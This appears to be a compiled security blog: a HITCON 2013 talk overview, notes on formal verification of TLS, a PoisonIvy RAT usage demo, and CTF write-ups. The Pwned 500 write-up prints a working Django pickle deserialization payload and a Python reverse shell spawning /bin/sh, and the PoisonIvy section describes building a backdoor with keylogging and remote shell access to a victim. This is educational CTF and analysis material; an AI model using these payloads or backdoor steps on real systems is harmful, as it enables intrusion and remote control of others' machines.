HITCON 2013 Overview

Cyber War

1. People's Republic of Cyber Warfare: Comparing China Iran & Russia Militarization of Cyberspace(駭客人民共和國: 中國伊朗跟俄羅斯網軍的分析與比較)
2. Global Cyber Espionage and Chinese Hacker Threats, Internet Survillance and PRISM(全球間諜：互聯網監控全球趨勢 棱鏡門與中國駭客威脅論)
3. APT1: Technical Backstage(APT1: 反攻網軍後台)
4. How South Korea Makes White-hat Hackers(南韓如何培養白帽駭客？)
5. How does Japan dea with Targeted Attack and SCADA Security(目標鎖定攻擊與工控系統安全：日本如何應對兩大趨勢)

Cyber War is the main topic of HITCON 2013. Hence many session about global cyber activity are included.
In first two presentation talk about national power of cyber war, include China, Iran and Russia. And also mention about chineese hacker and  Internet survillance of U.S.
Second, Paul Rascagneres from malware.lu share their experience to track APT1 hacker,which probable come from china.
Then, national strategy of Japan and Korean, which are two countries near TW, is mentioned. 

APT

1. APT defense from the view of security architecture(從系統設計建置面談 APT 防禦)
2. Visual Data Analytics - Graphing your Indicators(APT 特徵的視覺資料分析法)
3. Digital Eagle Eye System: Use Cyber Intelligence against APT Attacks(數位鷹眼系統: 以網路數位情資對抗 APT 攻擊)
4. APT Cyber Shuttle: From Automated Analysis to TTP Observation(APT網際飛梭：從自動化分析到拆解 APT 後台駭客活動)
5. Light & Shadow about Banking $ecurity @Japan(光與影 日本銀行業的資訊安全)

In HITCON 2013, APT is still one of hottest topic. In those session, management and strategy against APT is discussed. And some forensics technique are also proposed to face APT attack.
Notice that, the session "APT Cyber Shuttle: From Automated Analysis to TTP Observation" proposed by Xecure-Lab & Academia Sinica will give a session in Black Hat US 2013.

Malware

1. Building new weapons for malware analysts(建立惡意軟體分析的新武器)
2. Advance Malware Evasion and Hiding Techniques(惡意軟體的進階免殺技巧)
3. Static Analysis and Dynamic Instrumentation for Intelligent Exploit Analysis(靜態與動態智慧型漏洞文件分析系統)

Malware analysis is a old discussion problem. In this year, some session about malware are also included.

Mobile

1. Escaping Android Dynamic Analysis; Chinese New Year Train Ticket Ordering Day(逃離安卓動態檢測 & 訂票助手一日談)
2. Dex Education 201: Anti-Emulators(深入Dalvik Dex教學:反制模擬器)
3. Android Hooking Attack
4. Review of Security Vulnerabilities on the Android Platform(Android平臺安全性漏洞回顧)
5. GSM Security Research using Open Soruce Tools(以開源軟體進行GSM安全研究)

With exponent usage of mobile device, sessions about mobile are also increasing. The first two sessions mention about how malware evade security analysis mechanism. Then the following two sessions is about technique employed by malware. Especially, "Review of Security Vulnerabilities on the Android Platform" ,proposed by 肖梓航 Claud, which overview the android vulnerabilities in current year is worthy to read.

Exploit & Vulnerability

1. Life of Coder: The adventure through the landscape of bugs(程序員的蟲洞漂流)
2. Analysis on the EPATHOBJ Exploit(請謹慎編碼，哪怕它只是一句錯誤處理— 來自 win32k!EPATHOBJ::pprFlattenRec 漏洞的啟示)
3. Killing AV in x64(戳戳防毒軟體死穴)
4. 0-Day Easy Talk - Happy Fuzzing Internet Explorer(0-Day 輕鬆談 - Happy Fuzzing Internet Explorer)
5. How can i have 100 0day for just 1day(超級祕訣 - 一天擁有 100 個 0day!)
6. Exploiting JRE (JRE安全机制与漏洞挖掘研究)

Exploit and Vulnerability is an interesting topic this year. An 0 day sharing activity is also include in this year's HITCON.
In first three sessions, the authors analysis some known exploit and  share their implementation. The fourth session, the author demonstrate the 0-day he found and share his experience.
The fifth talk present an idea to fuzz numerous of application at once. The last one session conclude java vulnerabilities in current day and the direction to fuzz java platform.

Others

1. The undisclosed files of incidents by the data scientist(資料科學家未曾公開之資安研究事件簿)
2. OS X Rootkits Stuff(那些洞，我們一起追的 OS X Rootkits)
3. Spears and shields on online game(線上遊戲矛盾大對決)
4. Breaking image CAPTCHA for fun(CAPTCHA 好好玩)
5. Protocol and physical analysis of EMV POS devices.(EMV晶片卡POS裝置的實體與溝通協定分析)
6. Browser and Local Zone(瀏覽器和本地域)

The session "The undisclosed files of incidents by the data scientist" talk about some research topic of professor 陳昇瑋. Social network and malicious phone call are both special and interesting topic.

Also web security are widely discussed in Black Hat 2013, there are less topic about web security in this year's HITCON.  

CVE-2013-1763 : Local Privilege Escalation Vulnerability

This vulnerability is published in February, it can make normal user gain power of super user. Ubuntu 12.x is vulnerable. So I download the POC code and test it. The result is successful.

Formal Verification for Cryptography Protocols

In this year's S&P conference, Microsoft and INRIA has proposed a paper "Implementing TLS with Verified Cryptographic Security." In this paper, an F# TLS library was implemented and serial of formal proof were  also given. To understand their survey, some background knowledge are necessary. After some search, the slide published in etaps12 is most easily document. So in this article, I will summary this slide.

Attack Model

The attack model is communication in an insecure network environment as following figure

• The attacker can intercept all messages sent on the network
• He can compute messages
• He can send messages on the network

The term cryptographic primitives means basic cryptographic function which later used to build security protocols.

Symbolic Model and Computational Model 

Model	Symbolic Model	Computational Model
Cryptographic Primitives	blackboxes	functions on bitstrings
Messages	terms on cryptographic primitives	bitstrings
Attack Capability	Compute with cryptographic primitives	Probabilistic polynomial-time Turing machine
Security Assumptions	Verify what attacker can do	Verify what attacker cannot do

Verifying Protocols in the Symbolic Model

The basic idea is to compute the knowledge of attacker. So we exhaust all combination of cryptographic primitives. Then check if any of them violate security policy. It is trivial that those combination can be infinite, thus this model can be undecidable. So some technique like approximation, proper subset or termination state are used.

For example, Horn Clauses can be use to verify symbolic model. With the notation attacker function
                                             attacker(M) means “the attacker may have M”

And there introduce two functions

       Construct f( m1 ,m2 ,m3 ,...,mn ) 

              attacker( m1 ) ^ attacker( m2 ) ^ ... ^ attacker( mn ) -> attacker( f(m1, m2,..., mn) )  

       Destruct g(m1,m2,...,mn) -> m

              attacker( m1 ) ^ attacker( m2 ) ^ ... ^ attacker( mn ) -> attacker( m )

       Example

              attacker(m) ∧ attacker(k) → attacker(sencrypt(m, k))

              attacker(sencrypt(m, k)) ∧ attacker(k) → attacker(m)

Verifying Protocols in the Computational Model

There are thee strategy to verify the computational model

1. Linking the symbolic and the computational models
   First, proof in symbolic model and verify computation soundness in symbolic model. Then we can prove the computatiobal model is secure. 
2. Adapting techniques from the symbolic models
   Some symbolic techniques can also be adapted to the computational model
3. Direct computational proofs
   Proofs in the computational model are typically proofs by sequences of games

Reference 

1. Bruno Blanchet's presentation slide(1)
   http://www.mpi-inf.mpg.de/vtsa11/slides/blanchet/VTSA11intro.pdf
2. Bruno Blanchet's presentation slide(2) 
   http://www.mpi-inf.mpg.de/vtsa11/slides/blanchet/VTSA11proverif.pdf
3. Bruno Blanchet's presentation slide(3)
   http://cs.ioc.ee/etaps12/invited/blanchet-slides.pdf

PoisonIvy Remote Administration Tool

In this article, I will talk about PoisonIvy and demo it's usage.

PoisonIvy is a remote administration tool, which is widely used by hackers as the backdoor.

There are some news about PoisonIvy：

• Trend Micro Uncovers Interesting Variant of PoisonIvy RAT
• Poison Ivy RAT served by compromised Israeli website

Usage Demostration

In PoisonIvy Server Profile, we can config the server.

In this tab, address and password can be set. Proxy attribute can also be set in this tab.
The next tab, install, is used to config how the backdoor startup. Such as autostart and executable name is included.

Some advantage attribute like process injection, persistent and key logger are contained.
After generation, a backdoor will be generated. Then we create correspond client and  execute the backdoor in another machine.

After a success infection, a message will showed. And we can get some basic information about victim.

 Then we can retrieve some system information about victim's machine.

Next step, we can create a remote shell to victim.

Moreover, we can also get the remote desktop of victim.

HITCON 2013 Write Up： Pwned 500

In this problem, a django website was given with it's source code available here. Browsing all the files in the repo, we can find two thing interesting in settings.py.

1. The session engine is "django.contrib.sessions.backends.signed_cookies"
2. The SECRET_KEY  is also provided in source code.

When signed_cookies is used, every cookie with sessionid field will treated as  serialized data. Then pickle is used to deserialize. While pickle library is unsafe once it is not apply to ordinary type. So we can follow the document here and complete the attack process. Note that reference document also provide reference code which is wealthy to read.

With following python code, we can convert connback.py into pickle format and invoke the program once pickle.loads() is called to de-serialize.

code = b64(open('connback.py').read())

class ex(object):
    def __reduce__(self):
        return ( eval, ('str(eval(compile("%s".decode("base64"),"q","exec"))).strip("None")'%(code),) )
payload = pickle.dumps(ex())

And we can prepare a reverse shell as follow

socket.setdefaulttimeout(60)
sok = None
try:
    sok = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    sok.connect((host,port))
    sok.send('!P0Wn! Congratulation !!\n') 
    save = [ os.dup(i) for i in range(0,3) ]
    os.dup2(sok.fileno(),0)
    os.dup2(sok.fileno(),1)
    os.dup2(sok.fileno(),2)
    shell = subprocess.call(["/bin/sh","-i"])
    [ os.dup2(save[i],i) for i in range(0,3)]
    [ os.close(save[i]) for i in range(0,3)]
    os.close(sok.fileno())
except Exception:
    pass

Finally, we start a nc for reverse shell to connect and excute exploit.py to retrieve return shell.

bletchley@Viking:~/WorkSpace/2013_Django/pwp-master$ python exploit.py '1%idg#a2%byqh@l1wcv^3kc=e*($0v44(u-c^@bf_lz-@#essk' http://vuln-django.orange.tw
Sending payload, check you listenner

CODEGATE 2012 Write Up： Network 200

In this problem, a pcap file is given and we are asked to find the target host of DDOS.
After list all ip sort by the packet number and trace it one by one, we can find most suspicious flow.
First is attack target to 109.123.118.42 which send a lot of GET connections.

Second one is target to 111.221.70.11, which is SYN Flood.

 The third attack is targetting 199.7.48.190, which resend a lot of SYN with sequnce number 0.

 The last one send a lot abnormal HTTP packet.

Combine this four address, the key is none_111.221.70.11_109.123.118.42_199.7.48.190_66.150.14.48

PHD CTF Quals 2012 Write Up： Forensic 100

In this problem, and QRcode image are given as following pic.

We first use online scanner to scan this QRcode and get the binary string.

7F454C46010000000000000000004305020003001A0043051A00430504000000B931004305B220CD80252000010093CD803030343330354232323043443830323532303030303130303933434438300A

Saving this string as a file, and using file command, we can recognized this file is an ELF executable.
After executing file, we get the string as output.

004305B220CD80252000010093CD80

Then with stegsolve, we can extract some string.

328:5261 72211A07 00CE9973 80000D00 00000000 00001566
EFE453AE B7AFEBEB 515C366D 9C07555B 4739CBEE 3217360A
3A52E015 3C7AA47C F3BC9DEA 16A30B98 8B5ABCC2 B98BD56C
8E84EB4A 7CEACF43 74D01FD6 9D98C282 1D05B79B 2CC4D3E6
4CB09081 42566EEA C2862E0A 2BA7C559 7E7FCB77 97051CFE
55C8DF4A 10A93D07 2DC79C64 39C6E44D 9845B267 21A71566
EFE453AE B7AF74E5 062C467D BD49421B 47D68DB8 E7F5.

The first integer 328 may indicate the length of msg. Therefore we extract first 328 chars as a file, which is indeed an RAR file.
To extract RAR file, we need a password. Hence we use first string as password and express RAR file.
There is an secret.txt and key.
The key is 90f3910ff22f4be0dfa95a2fd6cb8a25